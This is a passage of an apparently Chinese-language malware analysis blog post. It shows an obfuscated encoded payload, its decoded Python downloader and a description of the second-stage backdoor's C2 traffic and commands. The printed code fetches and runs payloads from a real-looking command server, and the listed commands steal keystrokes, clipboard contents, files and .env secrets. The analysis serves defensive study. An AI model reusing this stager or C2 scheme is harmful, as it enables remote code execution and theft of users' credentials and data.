class="string">b&#x27;==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&#x27;</span>))</span><br></pre></td></tr></table></figure><p>將這個檔案decode 過後，為以下程式碼</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64,platform,os,subprocess,sys</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable, <span class="string">&#x27;-m&#x27;</span>, <span class="string">&#x27;pip&#x27;</span>, <span class="string">&#x27;install&#x27;</span>, <span class="string">&#x27;requests&#x27;</span>]);<span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">sType = <span class="string">&quot;15&quot;</span></span><br><span class="line">gType = <span class="string">&quot;812&quot;</span></span><br><span class="line">ot = platform.system()</span><br><span class="line">home = os.path.expanduser(<span class="string">&quot;~&quot;</span>)</span><br><span class="line"></span><br><span class="line">mainUpdateDate = <span class="string">&quot;Updated on 5th August&quot;</span></span><br><span class="line"></span><br><span class="line">host1 = <span class="string">&quot;146.70.253.107&quot;</span></span><br><span class="line">host2 = <span class="string">f&#x27;http://<span class="subst">&#123;host1&#125;</span>:1224&#x27;</span></span><br><span class="line">pd = os.path.join(home, <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">ap = pd + <span class="string">&quot;/way&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_payload</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(ap):</span><br><span class="line">        <span class="keyword">try</span>:os.remove(ap)</span><br><span class="line">        <span class="keyword">except</span> OSError:<span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(pd):os.makedirs(pd)</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> ot==<span class="string">&quot;Darwin&quot;</span>:</span><br><span class="line">            <span class="comment"># aa = requests.get(host2+&quot;/payload1/&quot;+sType+&quot;/&quot;+gType, allow_redirects=True)</span></span><br><span class="line">            aa = requests.get(host2+<span class="string">&quot;/payload/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            aa = requests.get(host2+<span class="string">&quot;/payload/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">res=download_payload()</span><br><span class="line"><span class="keyword">if</span> res:</span><br><span class="line">    <span class="keyword">if</span> ot==<span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">    <span class="keyword">else</span>:subprocess.Popen([sys.executable, ap])</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ot==<span class="string">&quot;Darwin&quot;</span>:sys.exit(-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">ap = pd + <span class="string">&quot;/pow&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_browse</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(ap):</span><br><span class="line">        <span class="keyword">try</span>:os.remove(ap)</span><br><span class="line">        <span class="keyword">except</span> OSError:<span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(pd):os.makedirs(pd)</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        aa=requests.get(host2+<span class="string">&quot;/brow/&quot;</span>+ sType +<span class="string">&quot;/&quot;</span>+gType, allow_redirects=<span class="literal">True</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(ap, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(aa.content)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">res=download_browse()</span><br><span class="line"><span class="keyword">if</span> res:</span><br><span class="line">    <span class="keyword">if</span> ot==<span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">    <span class="keyword">else</span>:subprocess.Popen([sys.executable, ap])</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>發現他使用HTTP GET 請求了<code>http://146.70.253[.]107:1224/payload/15/812</code> 與 <code>http://146.70.253[.]107:1224/brow/15/812</code> ，分別儲存成 <code>~/.n2/way </code>以及 <code>~/.n2/pow</code> 並且執行了他們</p><hr><h4 id="n2-way"><a href="#n2-way" class="headerlink" title="~&#x2F;.n2&#x2F;way"></a>~&#x2F;.n2&#x2F;way</h4><p>這邊主要在進行 C2 的控制命令。</p><p>首先會先向 <code>http://146.70.253[.]107:1224/keys</code> 做初始通知，帶上 Host Info 以及 SysInfo</p><p>HTTP POST 請求如下</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/keys</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>146.70.253.107:1224</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>python-requests/x.x.x</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>&lt;Length&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-vim"><span class="keyword">ts</span>=<span class="symbol">&lt;Timestamp_Milliseconds&gt;</span>&amp;<span class="built_in">type</span>=<span class="number">15</span>&amp;<span class="keyword">hid</span>=<span class="number">812</span>_<span class="symbol">&lt;Hostname&gt;</span>&amp;ss=sys_info&amp;<span class="keyword">cc</span>=&#123;<span class="string">&#x27;uuid&#x27;</span>: <span class="string">&#x27;&lt;UUID&gt;&#x27;</span>, <span class="string">&#x27;system&#x27;</span>: <span class="string">&#x27;&lt;OS&gt;&#x27;</span>, <span class="string">&#x27;release&#x27;</span>: <span class="string">&#x27;&lt;Release&gt;&#x27;</span>, <span class="string">&#x27;version&#x27;</span>: <span class="string">&#x27;&lt;Version&gt;&#x27;</span>, <span class="string">&#x27;hostname&#x27;</span>: <span class="string">&#x27;812_&lt;Hostname&gt;&#x27;</span>, <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;&lt;Username&gt;&#x27;</span>, <span class="string">&#x27;net_info&#x27;</span>: &#123;<span class="string">&#x27;query&#x27;</span>: <span class="string">&#x27;&lt;Public_IP&gt;&#x27;</span>, <span class="string">&#x27;country&#x27;</span>: <span class="string">&#x27;&lt;Country&gt;&#x27;</span>, <span class="string">&#x27;city&#x27;</span>: <span class="string">&#x27;&lt;City&gt;&#x27;</span>, ...&#125;&#125;</span></span><br></pre></td></tr></table></figure><p>接下來利用 TCP socket 向 <code>146.70.253[.]107:2241</code> 進行連線，並進入無限迴圈等待接收指令。以下是 Command Table</p><ol><li>ssh_obj：執行 Shell命令</li><li>ssh cmd : Kill Python Process</li><li>ssh_clip : 如果是 windows 獲取 Keylogger + clipboard 內容，其他作業系統則回傳空字串</li><li>sshrun : 下載 pow 程式到<code>~/.n2/bow</code></li><li>ssh_upload : 上傳指定目錄&#x2F;檔案到 <code>http://146.70.253[.]107:1224/uploads</code></li><li>ssh_kill:Kill Chrome&#x2F;Brave process</li><li>sshany：由 <code>http://146.170.253[.]107:1224/adc/15</code> 下載並執行 Anydesk 模組</li><li>ssh_env：搜尋 .env 檔案並上傳 <code>http://146.70.253[.]107:1224/uploads</code></li></ol><p>HTTP POST 上傳範例</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/uploads</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>146.70.253.107:1224</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundary&lt;RandomString&gt;</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>python-requests/x.x.x</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>&lt;Length&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-nix">----------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;type&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">15</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;hid&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">812</span>_<span class="symbol">&lt;Hostname&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;uts&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;Upload_Tag&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;multi_file&quot;</span>; <span class="attr">filename</span><span class="operator">=</span><span class="string">&quot;&lt;Timestamp&gt;_&lt;Filename&gt;&quot;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Type:</span> application<span class="symbol">/octet-stream</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;Binary_File_Content&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span>--</span></span><br></pre></td></tr></table></figure><p>上傳成功後會在 <code>~/.n2/flist</code> 紀錄攻擊的紀錄</p><h5 id="n2-way-完整程式"><a href="#n2-way-完整程式" class="headerlink" title="~&#x2F;.n2&#x2F;way 完整程式"></a>~&#x2F;.n2&#x2F;way 完整程式</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span 